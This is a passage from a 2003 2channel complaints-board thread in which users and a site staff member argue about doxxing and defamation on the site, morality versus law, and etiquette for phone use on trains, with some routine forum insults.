無意味だったらかわいそうだなぁ、、、

365 :心得をよく読みましょう:03/06/04 23:35 ID:kHPMF5bH
けんすう君、なぜ晒せないんだ?教えてくれないか?

366 :けんすう ★:03/06/04 23:37 ID:???
>>365
いや、晒せますが、、

なんで知りたいのかの理由がわかればいくらでも(^^;

367 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:38 ID:pZfVjUP8
>365
けんすうは晒してるよ(^_^;)知らないの?

368 :心得をよく読みましょう:03/06/04 23:38 ID:5SuFuF01
なにがケースバイケースだよ

正直に「他人の事など、どうでも良い」と言え

369 :心得をよく読みましょう:03/06/04 23:39 ID:aUEcwv/q
けんすう、晒してなかったか?

370 :心得をよく読みましょう:03/06/04 23:39 ID:6FuYkOkM
>360
漏れの場合は同情はする、が、救済はしない。

>368
正直どうでもいい。


371 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:39 ID:pZfVjUP8
>368
だって同情することもあれば、同情に値しないと思うこともあるもん(^_^;)
んなもん一律にどっちかなわけないじゃん。

372 :心得をよく読みましょう:03/06/04 23:40 ID:aUEcwv/q
あらやだマヴ助にのちゃった・・帰ろ

373 :心得をよく読みましょう:03/06/04 23:40 ID:MQ9b3uAo
けんすうは晒してるの?
見なおした!あんた男だよ!
ところで、なんて名前?住所は?

374 :心得をよく読みましょう:03/06/04 23:40 ID:k11mQh/j
まあ、他人を非難する前に鏡を見ろってこった。

375 :けんすう ★:03/06/04 23:41 ID:???
なんか知らない中国人からICQが入ったよ。ヽ(´ー`)ノ

376 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:41 ID:pZfVjUP8
つーか、けんすうがどういう人か知らないんだろうなぁ(^_^;)
やーい、無名〜

377 :心得をよく読みましょう:03/06/04 23:43 ID:kHPMF5bH
>376
ただのウンコだろ

378 :けんすう ★:03/06/04 23:43 ID:???
kaka (11:41 PM) :
何^^
kensuu (11:41 PM) :
中国の方ですか?
kaka (11:41 PM) :
ああ、またばれっちゃった^^
kensuu (11:42 PM) :
メールアドレスがyahoo.com.cnですからね( ̄ー ̄)ニヤリッ
kaka (11:42 PM) :
そうか、日本人らしいなあkaka (11:41 PM) :

__

煽られてる・・・?

379 :煙に油を注ぐ名無しさん :03/06/04 23:44 ID:H0ClZE7R
・・・・

380 :心得をよく読みましょう:03/06/04 23:44 ID:6FuYkOkM
>374
わかっててもなかなかねぇ。言うは易し行うは難しだな。


381 :けんすう ★:03/06/04 23:44 ID:???
>>376
(;´Д`)えー
>>377
ウンコはひどいよ!

382 :心得をよく読みましょう:03/06/04 23:45 ID:R3kQ9GGH
結局、2ちゃん信者って自分さえ良ければ他人が晒され中傷されても構わないんだな
思ったとうりだったな

383 :心得をよく読みましょう:03/06/04 23:45 ID:fHajHVl/
わかった。
君のように法治国家を盾にして、
「法に触れなければなにをしてもいい」と、
他人の迷惑ではなしに法でしか自分を律することができない人間には
言うことはない。

今の若者や中年のモラルが著しく欠けていると感じるのは、
あんたみたいな人間がいたせいだったんだな。

384 :心得をよく読みましょう:03/06/04 23:45 ID:6FuYkOkM
ヤフー中国のメールは日本からでも普通に取れるような・・。


385 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:45 ID:pZfVjUP8
>377
そうだ失礼だぞ(^_^;)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
うんこに・・・・

386 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:47 ID:pZfVjUP8
>383
違うと思うな(^_^;)モラルの質が変化してきてるだけ
モラルってのはね、常に存在するものなのよ
ただ、昨日のモラルと明日のモラルが同じかどうかは不明なだけ

387 :けんすう ★:03/06/04 23:47 ID:???
>>382
他人が侵害されて正義感に燃えるのはいいんですが、
行動が伴わないと意味がないですよ。
そこで「侵害された人の気持ちを考えるべきだ」と遠くで言ってるのは
逆に卑怯じゃないかと思います。

388 :心得をよく読みましょう:03/06/04 23:47 ID:k11mQh/j
串使いのアンチさんだ。。w

389 :心得をよく読みましょう:03/06/04 23:47 ID:6FuYkOkM
>383
自律というのは各々が自分を律することですよ。
貴方は貴方自身を、管理者のひろゆきはひろゆき自身を
誹謗中傷とかしてる奴がいても律するのはそいつ自身ってことですよ?

貴方の主張と根本で食い違ってるような気がするんですけど。

390 :心得をよく読みましょう:03/06/04 23:48 ID:TKxYFTp+
(^_^;)←マァヴ
(^^;←けんすう
ってか個人情報知ってもお金ががっぽりもらえるわけじゃないすぃ…(´Д`)
とにかくホスト表示にしてちょw

391 :心得をよく読みましょう:03/06/04 23:49 ID:6FuYkOkM
>386
そもそも383は383のモラルとひろゆきのモラルが違うから主張してるんだしねぇ。
それぞれ違うのがあたりまえだべ。


392 :心得をよく読みましょう:03/06/04 23:50 ID:fHajHVl/
マァブも6FuYkOkMもなにも分かってないのか。
モラルとか、自律とかいう言葉を。

393 :心得をよく読みましょう:03/06/04 23:50 ID:UOZzFygF
ホスト表示にしたら2チャソの売りの「陰湿さ」が無くなるから表示しないんだよ

394 :けんすう ★:03/06/04 23:51 ID:???
モラルを押し付ける人ってモラルをわかっていない気がする(^^;

395 :心得をよく読みましょう:03/06/04 23:52 ID:y71zPx2r
晒された高校生を知ってるが可哀想だったよ

396 :心得をよく読みましょう:03/06/04 23:52 ID:6FuYkOkM
(^_^;

397 :心得をよく読みましょう:03/06/04 23:54 ID:MQ9b3uAo
陰湿な奴しかいない便所の落書き板

398 :心得をよく読みましょう:03/06/04 23:54 ID:fHajHVl/
>>394
あなたもモラルがなんなのか、
わかってない気がします。

399 :けんすう ★:03/06/04 23:55 ID:???
>>398
いや、俺はモラルを語っているわけじゃないし、、

モラルを盾に何かいうなら、せめて自分にとってのモラルとは何かを
しっかりと書いたほうがいいんじゃないかと思う。
で、君にとってのモラルって何?

400 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:56 ID:pZfVjUP8
>398
ではあなたは理解しているんですか?(^_^;)
そしてその理解は正しいんですか?

401 :心得をよく読みましょう:03/06/04 23:57 ID:fHajHVl/
>>383で最初にかいたことに対して何も言ってこないところをみると図星ですか?

402 :心得をよく読みましょう:03/06/04 23:58 ID:7PhJ/blB
このウンコ板には泣き寝入りしている中傷被害者がたくさんいるんだぞ

403 :心得をよく読みましょう:03/06/05 00:00 ID:xbzp+cSu
ウンコ板信者って都合が悪い事はスルーだな
早く晒せ

404 :心得をよく読みましょう:03/06/05 00:00 ID:aPNJ+dlP
携帯電話のマナーを守らない使用、
コンビニの前で地べたに尻をつけながらモノを食ったり、
図書館で大声出しながらしゃべっている。

そういう人を注意しないでくれ。
強制できないのだから大きなお世話だし、
注意することは主張することと同じだから
そんな無駄なことをやるのは懸命ではないよ。

405 :心得をよく読みましょう:03/06/05 00:01 ID:0G/q5e55
マブって屁理屈おおいいよな。。

406 :心得をよく読みましょう:03/06/05 00:02 ID:kbtNAw2V
中傷カキコを放置するくらいなら閉鎖しろ
常識レベルの話だぞ

407 :心得をよく読みましょう:03/06/05 00:02 ID:aPNJ+dlP
>>383
の最初に言ってることに対してはなにも言い返してこないところを見ると
どうやら法治国家信者には図星だったようだな。

408 :心得をよく読みましょう:03/06/05 00:02 ID:GfqicjSb
そろそろ枯れてきましたね。
なんか議論の妥当性と関係が無い個人的な感情とか感想文しか
出てこなくなったみたいだし。

>401
法でしか云々といいますが、法を逸脱した主張を強制するのが
法治国家で妥当であるとは到底思えません。
それが人情的に冷たいとかモラルがないとか言うのは否定しませんよ。
法地国家というのは法によって運営されるもので人情やモラルによって
運営されるものではありませんから。


409 :けんすう ★:03/06/05 00:03 ID:???
どうでもいいけど、なんで電車内で
メールもうっちゃだめなんだろう。
今日電車の中で「社内でのメールはおやめください」って言ってたけど、
なんで本読んだり新聞読んだりイヤホンで音楽聞くのはよくて、
メールはだめなんだろう?

410 :心得をよく読みましょう:03/06/05 00:03 ID:zbQWsYxu
運営の屁理屈飽きた

411 :心得をよく読みましょう:03/06/05 00:04 ID:GfqicjSb
>404
主張する自由はあると言ってます。
強制力を持たないだけです。
相手が嫌だと言った場合法に従った処理をする他ありません。
相手が嫌だと言っているのに強制した場合、
貴方が法に従った処理をされることになります。


412 :心得をよく読みましょう:03/06/05 00:04 ID:GBGZ3rRN
>>409
そりがモラルだ!!

413 :心得をよく読みましょう:03/06/05 00:04 ID:/s7J5V1R
マブも自分の名前や写真が晒されるのは恐いわけ?

414 :心得をよく読みましょう:03/06/05 00:05 ID:pQSEwsQs
自分自身のことだろうに>屁理屈

415 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:05 ID:IONTrvFn
>407
つか、何を反論することがあるのだろう?(^_^;)かなり悩んだぞ・・・・


416 :心得をよく読みましょう:03/06/05 00:06 ID:resQ/xH9
自分は晒されたくないくせに晒し中傷掲示板の信者だなんて、なんかおかしいぞ

417 :心得をよく読みましょう:03/06/05 00:07 ID:GfqicjSb
>409
日本人の尊法精神によるものですよ。
ルールとか法律とかは与えられるものであって
自分たちで作るものという自覚がないのです。
だから何故してはいけないのかを考えずに
ルールだからと注意するんです。
その辺は大きな欠点ですね。


418 :心得をよく読みましょう:03/06/05 00:07 ID:TYNkWQey
>>409
心臓病の人がペースメーカーを装着して近くに居て万一ペースメーカーが誤動作したら?


419 :心得をよく読みましょう:03/06/05 00:07 ID:aPNJ+dlP
>>408
まぁ運営者や管理人側からすれば非常に的を得ている理屈だ。
だが、基本的人権を思想にした憲法が最高法規であるからには、
非人道的で迷惑のかかる行為は遅かれ早かれ規制される運命だろう。
せいぜいこの場を凌げるよう運営陣は頑張ってくれい。

420 :けんすう ★:03/06/05 00:07 ID:???
>>412
モラルなのかなぁ?
携帯メールがダメで、イヤホンや新聞はいいっていうモラルって
なにか変じゃないかな?と思うんだけど、どうだろう。

今の携帯で今のペースメーカに影響を与えるわけないし。

421 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:09 ID:IONTrvFn
モラルは誰にでもあるんだって(^_^;)
ただ、あなたのモラルとひろゆきのモラルに温度差があるだけで。
んで「俺の信じるモラルと違う!」と主張するのはいいんだけど
だからといって相手がそれに合わせなければならないわけじゃないの・・・・

「法を守りさえすればよい」ってのは最低条件であって
そのうえにどういうモラルを展開するのかについて
自分のモラルを強要するのはどうかと思う・・・・

422 :心得をよく読みましょう:03/06/05 00:09 ID:TYNkWQey
>>420
>今の携帯で今のペースメーカに影響を与えるわけないし。
それを証明する必要が鉄道会社には無いが、乗員の安全を守る義務はある。
それだけだろ?

423 :けんすう ★:03/06/05 00:09 ID:???
>>413
君は怖くないなら、じゃあ晒してみればいいんじゃないかな(^^;
ぜったいに晒さないだろうけど、、
>>418
ペースメーカの寿命と、携帯電話会社のたくさんの作動実験を考えると、
その可能性は限りなく少ないと思うんだけどなぁ。
少なくても誤作動して死んだ人はいないわけで。

交通事故では1万人くらい毎年死んでるわけで、、

424 :心得をよく読みましょう:03/06/05 00:10 ID:GfqicjSb
>419
人権というのは感情的主張という意味ではありませんよ?
貴方の主張が個人的な感情でなく法的な妥当性を持つものなら
法に従って処理をすべきだと以前から言っています。


425 :心得をよく読みましょう:03/06/05 00:10 ID:hnktB4W3
基地外と子供しかいない掲示板だから仕方ないな
何をやろうが勝手だが真面目に社会生活をしている者を巻き込む事だけはやめてもらえませんか?

426 :けんすう ★:03/06/05 00:11 ID:???
>>422
だったら、駅のホームに仕切りをつけたり、
踏み切りをなくして高架にしたりとか、もっといろいろあると思うんだけどなぁ、、

あと、今はペースメーカうんぬんってアナウンスでは言わないっすよ。
他の乗客とのトラブルになる、という言い方をJRはしています。

427 :けんすう ★:03/06/05 00:13 ID:???
むしろ満員電車に無理矢理人を詰め込むほうが危ないと思う・・・。
この前駅員に思いっきり押し込まれて、倒れた女の人がいたし、、

428 :心得をよく読みましょう:03/06/05 00:13 ID:aPNJ+dlP
>>424
感情的主張など少しもしていない。
まだ新しい人権として制定を経ていないだけだし。

429 :心得をよく読みましょう:03/06/05 00:14 ID:nFzKRyvL
>423
誰だって晒したくないに決まってるだろ
他人が勝手に晒せる掲示板の存在が迷惑なんだよ
そんな事もわからないのかよ

430 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:14 ID:IONTrvFn
あー(^_^;)もちろん主張するのは当然だと思うけどね>俺モラル
ただ、反論もあるだろうし、あなたの俺モラルを受け入れない人もいるわけ
んで、受け入れないことが間違っているとするなら
最終的には法によって判断するしかない・・・・と
(もちろん新しい法律を作ることもふくめてね(^_^;))

431 :心得をよく読みましょう:03/06/05 00:15 ID:GfqicjSb
>428
存在しない権利を強制するのは法治国家では法を逸脱した行為ですよ。
まぁ、主張してる分には構いませんけどね。


432 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:16 ID:IONTrvFn
あと、俺モラルと相容れないモラルの人を
「ひどい人だ」と批難することも当然だと思うよ(^_^;)
ただ、その俺モラルが社会的モラルに反してる
あるいは批難された側がそのことで損害を受けた場合は
刑事あるいは民事によって争われることもあるけど・・・・

433 :心得をよく読みましょう:03/06/05 00:16 ID:xbzp+cSu
2ちゃん信者のレベルって低すぎ

434 :心得をよく読みましょう:03/06/05 00:17 ID:aPNJ+dlP
>>430
もちろん、あらゆる政治家・学者らの知識人の考えを拝見する限りでも、
私がここで主張していることは過半数の支持を得られるものだと確信していますが。
あとは権力ですよ。

435 :心得をよく読みましょう:03/06/05 00:17 ID:TYNkWQey
>>426
まぁ電車の中は「公衆の面前」だからね。
メール云々はメールを許容する→携帯電話の操作を許容する
→メール操作中にヨソから電話が掛かってきたら受ける人が多いだろう
→電車内ではマナーモードなり電源を切るなりして電話の操作をして欲しくない

そんなところでしょ。

436 :心得をよく読みましょう:03/06/05 00:18 ID:aPNJ+dlP
>>431
ではなぜ、最初無かった環境権や知る権利などが近頃考えられてきたのでしょうかね??

437 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:18 ID:IONTrvFn
>434
あなたが確信しているということはなんのなぐさめにもなりません(^_^;)

438 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:19 ID:IONTrvFn
>436
環境権や知る権利は戦前からあったんですが(^_^;)

439 :けんすう ★:03/06/05 00:19 ID:???
>>429
じゃあ、簡単に晒せとか言わなきゃいいのに・・・。
皮肉のつもりだかなんだか知らないけど、
そういうバカなことを言うから自分の意見を軽視されることがわからないんだろうか、、
>>435
あ、それならわかるかも。
でも、電話できないからメールするっていう、
一種の抑止力になっている気もするんだけどなぁ、、、

440 :心得をよく読みましょう:03/06/05 00:19 ID:aPNJ+dlP
>>437
まぁいいさ。
おまえたちがどうしても屁理屈を言いたいことは良く分かったよ。
とりあえず現実をみるんだな、現実を!

441 :心得をよく読みましょう:03/06/05 00:19 ID:YkcrVs14
運営は誰も納得させてないぞ
とにかく根拠の無い中傷カキコを放置した挙げ句、それを正当化するのはやめてください

442 :心得をよく読みましょう:03/06/05 00:20 ID:luEUsXmv
串応援団が必死ですw

443 :心得をよく読みましょう:03/06/05 00:20 ID:aPNJ+dlP
>>438
基本的人権の思想は300年前からありますが。

444 :心得をよく読みましょう:03/06/05 00:20 ID:DRt88a2a
>>440
2ちゃんねるが現在閉鎖されていない現実を?

445 :心得をよく読みましょう:03/06/05 00:21 ID:aPNJ+dlP
>>438
人権思想は300年前からありますが。

446 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:21 ID:IONTrvFn
>440
現実は見ての通りです(^_^;)はい
そして現実は昨日、今日、明日と同じではありません。

>441
というか、運営はなんも言ってないと思うんだが(^_^;)

447 : :03/06/05 00:21 ID:qPI4ZYOF
これだから批判要望は面白い。

448 :けんすう ★:03/06/05 00:21 ID:???
>>441
いつ正当化しています?(^^;

449 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:22 ID:IONTrvFn
>443
それがどうかしましたか?(^_^;)

450 :心得をよく読みましょう:03/06/05 00:22 ID:GBGZ3rRN
>>420
なんとく、「まぁいいか」で線を引く
そりがモラル!!

451 :心得をよく読みましょう:03/06/05 00:22 ID:aPNJ+dlP
>>444
随分小さな視点だな。おまえらの無能さを思い知らされるよ。

452 :けんすう ★:03/06/05 00:23 ID:???
>>451
いくら匿名掲示板だからって無能とかウンコとか言うのは人権侵害だと思います!

453 :心得をよく読みましょう:03/06/05 00:23 ID:aPNJ+dlP
>>452
強制力がないからいいんだってさ。

454 :心得をよく読みましょう:03/06/05 00:23 ID:TYNkWQey
>>439
まぁ実際守ってるヤツは少ないし、ケンカにさえならなきゃいいんじゃないの?
貴方の良心が許すのなら。

455 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:23 ID:IONTrvFn
>451
是非あなたの壮大な視点を(^_^;)ご披露ください

456 :心得をよく読みましょう:03/06/05 00:24 ID:aPNJ+dlP
>>449
なんだ、反論できなくなったらおとぼけさんか。

457 :けんすう ★:03/06/05 00:25 ID:???
>>453
あれ、いいの?
>>454
友達に今それを聞いてみたら
>メールをやるために携帯電話を手元に出しとくってことが、
>電話きたときにとり易いっていうことにもつながるっしょ
って言って、なるほどなぁ、、と思った。

458 :心得をよく読みましょう:03/06/05 00:25 ID:DRt88a2a
aPNJ+dlPさんはどうやら有能らしいので、2chを閉鎖する方法くらい
すぐおもいつけるでしょう。

459 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:25 ID:IONTrvFn
>456
じゃなくて、何がいいたいんだろうか・・・と(^_^;)

460 :心得をよく読みましょう:03/06/05 00:26 ID:GfqicjSb
>452
書き込み者本人と民事で争ってください。


461 :心得をよく読みましょう:03/06/05 00:26 ID:lBMqVBEr
2chは誰でも簡単に書き込める場だから2ch自体はいいと思う。
荒らしたり、よ〜わからんことをする厨が比率的にはごくごく少数だと思う。
少数とはいえ絶対数が多いからそれだけ厨が多いのも事実。
外部HPでもたった1人荒らしたらそれだけ掲示板の雰囲気が悪くなり
良識をもった人が大勢いたとしても曇らせてしまうのに
そう考えたら2chが厨だらけだと思ってしまう人もいるのもわかる気がする。
管理側はIP記録したり削除人がいたりして色々対策しているのはわかるが
管理しきれていない印象も感じる。
閉鎖しろ!までとは言わないがもう少し頑張ってください。

462 :けんすう ★:03/06/05 00:26 ID:???
>>456
基本的人権が300年前からあります、に反論を期待しているのか、、

463 :心得をよく読みましょう:03/06/05 00:26 ID:hnktB4W3
>439
おまえは脳ミソが小さいな
自分は晒せないくせに、なんで中傷掲示板を擁護してるんだ?
日本語がわかるか?いい加減、話のスリカエはやめろ。おまえはただの卑怯者だ

464 :心得をよく読みましょう:03/06/05 00:27 ID:GfqicjSb
>459
知る権利とか基本的人権は最近出来たんですって。


465 :けんすう ★:03/06/05 00:27 ID:???
aPNJ+dlPさんは有能らしいので、
これから相当おもしろい話が聞けるんだろうなぁ、、わくわく。

466 :心得をよく読みましょう:03/06/05 00:28 ID:TYNkWQey
ええと権利、権利で揉めてるみたいだけど誰にでも権利はあるのね。
でも貴方の権利を守る義務が貴方以外の誰かにある訳ではないのね。
つまり人間には生きる為に腹いっぱい食う権利があるけど地球の裏側では何万人も餓死してるよ。
じゃぁ餓死した彼らには食う権利は無いのか?そんな事は無い。
権利はあるが食い物が無いだけだ。オレ外してる?

467 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:28 ID:IONTrvFn
>463
つーか「擁護している」ってあたりがすり替えなんだって(^_^;)
どうあっても擁護にしたいだけちゃうの?

468 :記念クワッパ ◆AOLXPaPiKo :03/06/05 00:28 ID:qPI4ZYOF
aPNJ+dlPさんは有能らしいので、記念板作ってください。

469 :心得をよく読みましょう:03/06/05 00:28 ID:DZRGv+Tn
有名人の誰ひとりとして2ちゃんなんて認めてないだろ
ひきこもりの戯言しか書いてないし

470 :けんすう ★:03/06/05 00:29 ID:???
>>463
いや、だからまず、俺は晒しているって・・・。

あと、援護もしてないって・・・。
俺の意見と違うなぁ、と思っているから書いているだけで、
なんでそれが2ch援護になるんだろう?
2chが間違ったことしていると思ったら援護はしないでしょ。

あと、なんで晒さないと擁護しちゃいけないのかもわからないんですが、
話のすりかえはやめましょう、、、
朝まで生テレビの人がみんな住所名前電話番号晒して議論してますか?

471 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:30 ID:IONTrvFn
>464
うん(^_^;)人類の歴史考えたら、ごく最近の話やね
アメリカの公民権なんかもそう。

472 :心得をよく読みましょう:03/06/05 00:31 ID:GfqicjSb
>468
http://ex.2ch.net/korea/
出来ました。


473 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:31 ID:IONTrvFn
>469
権威主義ですか?(^_^;)
つーか有名だと権威があるわけでもないか・・・・

474 :心得をよく読みましょう:03/06/05 00:31 ID:aPNJ+dlP
>知る権利とか基本的人権
なに勘違いしてんだよ。

475 :心得をよく読みましょう:03/06/05 00:31 ID:Z+ZYlib+
就職の面接で「僕は2ちゃんねるは素晴らしいと思います」なんて言ったら100%不採用だろうな
それほど2ちゃんなんて認知されてないけどさ

476 :けんすう ★:03/06/05 00:32 ID:???
>>469
田原総一郎とか糸井重里とか宮台真二とか、、、
村井純さんとかは慶應で2ちゃんを取り上げて授業やってますね。。

477 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:33 ID:IONTrvFn
>475
そかな?(^_^;)
それしか言わなかったら不採用だとは思うけどね。
「2chについてどう思う?」っていうのは面接で聞くには面白い質問やね。

478 :心得をよく読みましょう:03/06/05 00:33 ID:GfqicjSb
>475
2chが理由と断定出来るんなら思想の自由を根拠に裁判とか・・。

>476
彼らは引きこもりなんです。多分。


479 :けんすう ★:03/06/05 00:33 ID:???
>>475
それは2ちゃんねるじゃなくても同じだろう・・・。

僕は創価学会は素晴らしいと思います、っていってもダメだろうし。
創価学会が素晴らしいかそうでないかはおいておいても。

僕はフジテレビは素晴らしいと思います、って面接で言う
低レベルなバカはそうはいないと思いますよ・・・。

480 :心得をよく読みましょう:03/06/05 00:34 ID:aPNJ+dlP
>>473
権威主義じゃないか。
俺たちがなに主張したって法は作れないんだろ?
法に従うことはできてもよ。

481 :記念クワッパ ◆AOLXPaPiKo :03/06/05 00:34 ID:qPI4ZYOF
>>472
ありがとう。さっそく記念しにいってくる。

482 :心得をよく読みましょう:03/06/05 00:35 ID:resQ/xH9
権威主義は俺も嫌いなんだが

しかし有名人の誰一人として認めない2chって、その程度のものだよ

483 :心得をよく読みましょう:03/06/05 00:35 ID:GBGZ3rRN
>>477
うちの会社の全てのPCにかちゅ他2chブラウザ入ってるけど
そんな質問は恥ずかしくて出来ないよ(w

484 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:35 ID:IONTrvFn
>480
それを世の中では順法精神と呼びます(^_^;)

485 :心得をよく読みましょう:03/06/05 00:35 ID:GfqicjSb
>479
あ、でも創価は仕事とかまでちゃんと世話してくれて
スゲェ親切丁寧にケアしてくれるみたいですよ。

だから就職には有利かも。そこが創価関連なら。

486 :けんすう ★:03/06/05 00:35 ID:???
>俺たちがなに主張したって法は作れないんだろ?

この人は何を言っているんだろう・・・。

487 :心得をよく読みましょう:03/06/05 00:36 ID:DRt88a2a
もう眠たいんで、最後っ屁ひねって勝利宣言してくれよ>aPNJ+dlP

488 :心得をよく読みましょう:03/06/05 00:36 ID:aPNJ+dlP
>>484
おまえらの言い訳をそのまま利用したわけだがね。
なにか文句でも?

489 :心得をよく読みましょう:03/06/05 00:36 ID:EcKTagir
晒されたくない奴が、2ちゃんを擁護するのは、自分が晒される心配が無いからだよ
ひきこもりしかいないからだな

490 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:37 ID:IONTrvFn
>483
そこで見識をちゃんと披露できるって結構ポイントだと思うけどな(^_^;)
「しぃちゃんカワイイです」とか「質問キター」とか「もう2chまんせーですよ」じゃどうしようもないけど

491 :けんすう ★:03/06/05 00:37 ID:???
>>482
田原総一郎とか糸井重里とか宮台真二とか、、、
村井純さんとかは慶應で2ちゃんを取り上げて授業やってますね。。
>>485
あ、そういう意味ではそうかもですね・・・。

2ちゃんねる見てるっていうマスコミの人や
会社の重役さんとか多いっすよねぇ。
フジテレビの報道の人が2chのニュー速みながら記事書いてて、
うわぁ、と思ったもんです。

492 :心得をよく読みましょう:03/06/05 00:37 ID:aPNJ+dlP
>>486
それは6FuYkOkMさんがさっき私に言っていたことですよ。
それが法治国家なんだとさ。

493 :心得をよく読みましょう:03/06/05 00:37 ID:TYNkWQey
>>479
例がマズくない?宗教上の理由で採用の可否を決めるのはNGだから創価マンセーなんて言わせる面接のやり方に問題がある。

2ch云々は業種によるだろうけどね、企業の役員連中にどれ位の知名度があるかは分からんが。


494 :けんすう ★:03/06/05 00:38 ID:???
aPNJ+dlPさんはいつ有能なaPNJ+dlPさんを見せ付けてくれるんだろう、、、

495 :心得をよく読みましょう:03/06/05 00:39 ID:kbtNAw2V
運営擁護派は晒し中傷行為を軽く考えすぎてるんだよ
もう少し世間一般の感覚に合わせたほうがいいよ

496 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:40 ID:IONTrvFn
>492
すまん。さすがにちょっとログひっくりかえすのめんどくさくなってきた(^_^;)
どのあたりでそういう話してた?(^_^;)
どうも、すげー無理やりに話をねじまげてる気がしてならん。

497 :心得をよく読みましょう:03/06/05 00:40 ID:GfqicjSb
>495
世間の感覚なら問題がある時、法に訴えるってのが普通だと思うんだが・・。

498 : :03/06/05 00:40 ID:qPI4ZYOF
>>475
別に「2chは誹謗中傷だらけ、しかも管理側はそれを削除しようとしない。閉鎖しろ!」って言って受かる訳でもないし…

499 :けんすう ★:03/06/05 00:40 ID:???
>>495
いや、晒し中傷行為はいけないことでしょ、、
それは一般だろうとネットだろうと関係ないと思うですよ。

500 :心得をよく読みましょう:03/06/05 00:40 ID:aPNJ+dlP
>>496
>>296からだが。

501 :心得をよく読みましょう:03/06/05 00:42 ID:aPNJ+dlP
>>497
つーことは、法が世間の感覚に則していない役立たずなものだってことか。

502 :心得をよく読みましょう:03/06/05 00:43 ID:xbzp+cSu
>491
嘘はやめろ。訴えられるぞw
批判要望板の人の少なさ見てりゃ2ちゃんに対して誰も期待してない事がよくわかるよ

503 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:44 ID:IONTrvFn
>498
かといって「よく存じません」だとアンテナ低く見られそうだし(^_^;)

>500
それがどうしてああいう結論になっちゃうの?(^_^;)

504 :けんすう ★:03/06/05 00:44 ID:???
>>501
頼むから人を無能というならもうちょっと頭のいい文を書こうよ。

問題があったら法に訴える、といってるのがなんで
法が世間の感覚に即していない役立たずなもの、になるんだか、、

問題があったら法に訴えて、解決している例はいくらでもあるでしょ。
誹謗中傷受けようと殴られようと、普通は法に訴えるし、
そうしたら日本の司法や警察はちゃんと動いてくれるですよ。

505 :心得をよく読みましょう:03/06/05 00:45 ID:aPNJ+dlP
>>503
悪いがそれが理解できないなら俺としてはもう話の余地が無いよ。
そちらの持論を利用したら、今度はおかしい・・・じゃ〜ねぇ。
さようなら。

506 :けんすう ★:03/06/05 00:45 ID:???
>>502
いや、嘘じゃないんですが、、
フジの報道センターでバイトしてたんですが、見てますよー。
バイトから社員まで。で、別に見ててもいいと思うんですが。
TBSのプロデゥーサーも実況板とかマスコミ板見てます、って言ってたし、、

507 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:46 ID:IONTrvFn
>501
かもしれない(^_^;)
というか、実際はそれほど単純じゃなくて
守るべきものが色々あって、それぞれの利害が相反してるために
現状ではうまい落とし所が見つからないのよ・・・・
それでも、すげー悪戦苦闘して立法府はがんばってると思うけどね。
でも、なんかいつも現実は法律の一歩先を行ってるような気がする>ネット

508 :心得をよく読みましょう:03/06/05 00:46 ID:aPNJ+dlP
>>504
解決して無い例がないと言い切れるのか?
馬鹿馬鹿しい。

509 :けんすう ★:03/06/05 00:46 ID:???
というか、「偉い人が認めたものならすごい」とか
「マスコミが認めているならすごい」とか、
そういった考えはどうにかならないのかなぁ、、
なんかすごく不自然に見える。

510 :心得をよく読みましょう:03/06/05 00:47 ID:GfqicjSb
>496
2chの法の立法と日本の立法と混同してるんじゃないですかね。
ローカルルールに民意は反映されられないとは書きましたし
日本人は尊法精神が素晴らしく法は作るもので無く従うものと認識しているとは書きましたけど、
法(ローカルルールでなく)を運動で作らせられないとは言っておりませんし、
団体作って啓蒙してくのは"選挙を考慮した"有効なアプローチであるとも言っています。


511 :心得をよく読みましょう:03/06/05 00:47 ID:YkcrVs14
>499
そうでしょ?だけど運営さんに晒し中傷行為は許さないぞという姿勢が見えないんですよ
もっと真剣に取り組んでみてはいかがでしょうか?

512 :けんすう ★:03/06/05 00:48 ID:???
>>508
いや、なんでそうなるの?(^^;
解決してない例だってそりゃいっぱいあるでしょ。
で、解決してない例があったら
「法が世間の感覚に則していない役立たずなもの」になるのかい?

車で一回エンストしたら「車は移動をするのに役に立たない」といっているようなものかと。

513 :心得をよく読みましょう:03/06/05 00:48 ID:GfqicjSb
>508
裁判になれば必ず結論は出ると思われ。
「自分勝手の我侭を通す」ことを解決と呼ぶなら
解決しないことの方が多いでしょうが。


514 :心得をよく読みましょう:03/06/05 00:49 ID:TYNkWQey
>>508
すいません、要は個人情報等の重要削除案件を速やかに削除せよという事?
2chはそういうの早い方じゃないの?電話番号とか。

515 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:49 ID:IONTrvFn
>508
>解決して無い例がないと言い切れるのか?
法が十全なわけないじゃん(^_^;)全ての人の福祉に叶う法なんてありえないもん
あなたが言う「解決」とは社会的な解決じゃなくて
個人的な解決でしょ?
個人の求める解決が満たされることの方が少ないって(^_^;)

516 :心得をよく読みましょう:03/06/05 00:49 ID:aPNJ+dlP
>>510
っていうか、ローカルな問題ではすでにないわけよ。
日本最大規模の掲示板になっている以上、
掲示板全体への認識を利用者が誤る可能性があるわけよ。
ローカルルールをグローバルだと勘違いする。
わかるか?

517 :心得をよく読みましょう:03/06/05 00:51 ID:KwbL1S0Q
